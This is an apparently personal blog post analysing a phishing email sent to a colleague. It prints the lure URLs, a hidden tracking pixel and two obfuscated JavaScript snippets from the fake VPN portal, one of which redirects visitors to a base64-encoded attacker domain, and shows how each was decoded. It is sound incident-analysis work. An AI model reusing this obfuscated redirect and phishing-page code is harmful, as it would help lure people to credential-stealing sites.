My First Malware Analysis
Image: "Tangled rebar" by ellenm1
- 5 minutes read - 1008 wordsA colleague1 pinged to tell me he clicked a button in an email which he realised was not legit and that he may have done a bad thing. First of all, thank you for informing us security peeps and not hiding! This is how we all can be more secure. In my turn, i shall do my best to stay approachable and i’m grateful for anyone who steps forward in a security incident like this.
He had in fact received two nearly similar emails, both titled Invitation to contribute to the COMPANY shared e-Folder (substitute COMPANY for the company i work for), included a pretty convincing body (and layout) laying out that
Hi Firstname, you’ve been invited to contribute to the following COMPANY shared e-Folder:
[COMPANY Sensitive Comm…]
( Open folder )
Firstname forwarded me the emails as attachments, which i was able to save as an .eml
file. This was a standard MIME (Multipart Internet Mail Extension) encoded text file, which means it’s readable but the lines are wrapped and some characters are escaped. I first thought i would need to unwrap the file, but upon some visual inspection, a few fishy URLs that caught my eye. The (Open_folder) button linked to https://click.snapchat.com/aVHG?pid=snapchat_download_page&af_dp=...&af_web_dp=https://agroincome.com/standard/sense?employee=dG54ZW1rQGNvbXBhbnkuY29tCg==
, which i understood as “go via Snapchat, and fetch https://agroincome.com/standard/sense?employee=dG54ZW1rQGNvbXBhbnkuY29tCg==
”. The other mail said /sense?commerce=cHBld...
in the agroincome
part and i also found an manufacture=
somewhere else in the payload.
Of course i had to look!
The (identical) files behind the links contained a web page made to look like a VPN connection portal to the company. But while this is nothing like we use, there was something way more off within:
<script>
function _0x214b(){var _0x4cb3b2=['write'];_0x214b=function(){return _0x4cb3b2;};return _0x214b();}var _0x543e50=_0x45a3;function _0x45a3(
_0x214bcf,_0x45a3bb){var _0x34b0ca=_0x214b();return _0x45a3=function(_0x2ee12e,_0x474940){_0x2ee12e=_0x2ee12e-0x0;var _0x2dce00=_0x34b0ca[_0x2ee12e];r
eturn _0x2dce00;},_0x45a3(_0x214bcf,_0x45a3bb);}document[_0x543e50(0x0)](unescape('%3C%70%20%73%74%79%6C%65%3D%22%74%65%78%74%2D%61%6C%69%67%6E%3A%20%
63%65%6E%74%65%72%3B%20%66%6F%6E%74%2D%73%69%7A%65%3A%20%31%72%65%6D%3B%22%3E%50%6C%65%61%73%65%20%63%6C%69%63%6B%20%6F%6E%20%74%68%65%20%62%75%74%74%
6F%6E%20%62%65%6C%6F%77%20%74%6F%20%63%6F%6E%74%69%6E%75%65%3C%2F%70%3E%0A%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%73%74%72%6C%22%
3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%62%75%74%74%6F%6E%20%69%64%3D%22%73%62%6D%74%22%20%6F%6E%63%6C%69%63%6B%3D%22%77%72%69%74%65%45%6C%65%6D%
65%6E%74%28%29%22%3E%43%6F%6E%74%69%6E%75%65%3C%2F%62%75%74%74%6F%6E%3E%0A%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%3C%62%
72%3E%0A%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%77%6E%65%72%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%70%20%73%74%79%6C%65%
3D%22%66%6F%6E%74%2D%77%65%69%67%68%74%3A%20%37%30%30%3B%20%66%6F%6E%74%2D%73%69%7A%65%3A%20%73%6D%61%6C%6C%3B%22%3E%0A%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%3C%3F%70%68%70%20%65%63%68%6F%20%24%63%6F%6D%70%61%6E%79%20%3F%3E%20%32%30%32%32%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%70%3E%
0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%70%20%73%74%79%6C%65%3D%22%66%6F%6E%74%2D%77%65%69%67%68%74%3A%20%37%30%30%3B%20%66%6F%6E%74%2D%73%69%7A%65%
3A%20%73%6D%61%6C%6C%3B%22%3E%54%68%69%73%20%73%65%72%76%69%63%65%20%69%73%20%70%6F%77%65%72%65%64%20%62%79%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%3C%3F%70%68%70%20%65%63%68%6F%20%24%63%6F%6D%70%61%6E%79%20%3F%3E%20%43%6C%6F%75%64%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%70%3E%0A%20%
20%20%20%20%20%20%20%3C%2F%64%69%76%3E'));
</script>
That blob of %3C%70%20
… is URL-encoded text. The format is a %
sign and two characters, forming the hexadecimal for each character encoded (as long as we don’t talk about high-bit characters), so the %20
in the beginning is a space character.
Unescaping the “percent-coded” blob, turned out something equally weird: (prettyfied for readability)
<p style="text-align: center; font-size: 1rem;">Please click on the button below to continue</p>
<div class="strl">
<button id="sbmt" onclick="writeElement()">Continue</button>
</div>
<br>
<div class="wner">
<p style="font-weight: 700; font-size: small;">
<?php echo $company ?> 2022
</p>
<p style="font-weight: 700; font-size: small;">This service is powered by
<?php echo $company ?> Cloud
</p>
</div>
Uh, <?php ... ?>
. And what’s writeElement()
? Looks b0rken.
The fake “VPN portal” also points to a script.js
, which looks like this:
onload(_0x1b5188()); function _0x596a(_0x983950, _0x596a2e) { const _0x1521ff = _0x9839(); return _0x596a = function (_0x54b67f, _0x3ed8a7) { _0x54b67f = _0x54b67f - 0x0; let _0x3e27e0 = _0x1521ff[_0x54b67f]; return _0x3e27e0; }, _0x596a(_0x983950, _0x596a2e); } function _0x1b5188() { const _0x3826f9 = _0x596a, _0x3f740f = _0x3826f9(0x0), _0x189587 = _0x3826f9(0x1), _0x20b53e = _0x3826f9(0x2), _0x1fd1e7 = _0x3826f9(0x3), _0x55256c = _0x3826f9(0x4); window[_0x3826f9(0x5)]['replace'](atob(_0x1fd1e7) + atob(_0x3f740f) + atob(_0x189587) + atob(_0x20b53e) + atob(_0x55256c)); } function _0x9839() { const _0x223611 = ['cHJveGltaXR5', 'LnNoYWRlb2Z0aGVtb250aA==', 'LmNvbQ==', 'aHR0cHM6Ly8=', 'Lz9obD1lbg==', 'location']; _0x9839 = function () { return _0x223611; }; return _0x9839(); }
Oh my. Obfuscated JavaScript. How kind.
Running this through a JavaScript de-obfuscator, returns this beauty:
onload(jahda());
function amarya(khea, jonpatrick) {
const latease = amoha();
return amarya = function (dylanjacob, mikki) {
dylanjacob = dylanjacob - 0;
let kristabel = latease[dylanjacob];
return kristabel;
}, amarya(khea, jonpatrick);
}
function jahda() {
const deante = amarya, deverne = deante(0), tonea = deante(1), lorey = deante(2), myoni = deante(3), jaleshia = deante(4);
window[deante(5)].replace(atob(myoni) + atob(deverne) + atob(tonea) + atob(lorey) + atob(jaleshia));
}
function amoha() {
const jacore = ["cHJveGltaXR5", "LnNoYWRlb2Z0aGVtb250aA==", "LmNvbQ==", "aHR0cHM6Ly8=", "Lz9obD1lbg==", "location"];
amoha = function () {
return jacore;
};
return amoha();
}
(The autogenerated function names will be different if you run it)
It’s still a headache to look at, but not a migraine. I concluded that the beef can be found in function jahda()
, where the second line says window[deante(5)]...
. Now deante(5)
is the fifth element2 of the array jacore
, ie "location"
, which according my fading Javascript memories means that the script is going to transport the user’s window to a new location, but where to?
Those other elements of jacore
look familiar with their trailing ==
. They are base64
encoded strings, and decoded, they read:
λ › for i in aHR0cHM6Ly8= cHJveGltaXR5 LnNoYWRlb2Z0aGVtb250aA== LmNvbQ== Lz9obD1lbg==; do; echo $i | base64 -d; done
https://proximity.shadeofthemonth.com/?hl=en
Thus, the line in jahda
refactors to something like
window[location].replace("https://proximity.shadeofhtemonth.com/?hl=en")
Trying to untangle that first function (amarya
) just makes my brain wrinkle, so i let it be. But what lies behind proximity.shadowofthemonth.com
? A zero length file. Maybe i’m missing something here, but nobody’s home.
EDIT: My previous edition claimed there were no
//
betweenhttps:
andproximity
, but that’s wrong, and i’m not exactly sure where they disappeared during my decoding. Thanks to another dear colleague of mine for pointing this out!
The phishing email also referred to a pixel beacon
<img src="https://t.sidekickopen07.com/s3t/o/5/f18dQhb0S7n28cVW0kVMCqM959hl0VW7_jsyP5JR-jdW4n-09657Qw-WN56kBy61_CnLf6NgQQ203?si=8000000002264021&pi=f20f9b12-af1c-46f8-c9c9-3f1503d1f29b" alt="" style="display:none!important" height="1" width="1">
…but unfortunately this link yielded nothing but an error message in plaintext, We could not determine which URL you were trying to go to. Please check to make sure your URL is not truncated.
. I had reached the end of the rabbit hole.
My conclusions are:
- The payload script contained a bug, so nothing bad happened
- Somebody has taken down the actual payloads, so there’s nothing to infect us with
- My analysis skills are but rudimentary, so there might still be something i haven’t found
I can’t, with all confidence, say that we’re safe because i lack the competence to say so. But i do feel that we’re probably safe and i do feel a bit exhilarated that i’ve managed to untangle the malware this far.
Maybe one day i will do better. Maybe this post will attract somebody with more developed skills, who can teach me. The future is, still, unwritten.